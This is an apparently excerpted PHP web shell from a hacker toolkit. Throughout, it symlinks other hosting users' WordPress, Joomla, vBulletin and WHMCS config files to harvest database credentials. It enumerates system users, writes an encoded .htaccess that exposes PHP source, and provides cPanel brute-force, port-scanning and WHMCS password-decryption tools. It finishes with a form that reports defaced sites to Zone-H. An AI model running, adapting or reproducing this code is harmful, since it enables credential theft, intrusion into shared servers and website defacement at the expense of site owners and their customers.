symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00ff00>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td></tr></table></table></table>
<?
}
/////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
</td></form></center></table>';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Pilih Salah Satu------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Pilih Salah Satu---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo '<center>';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
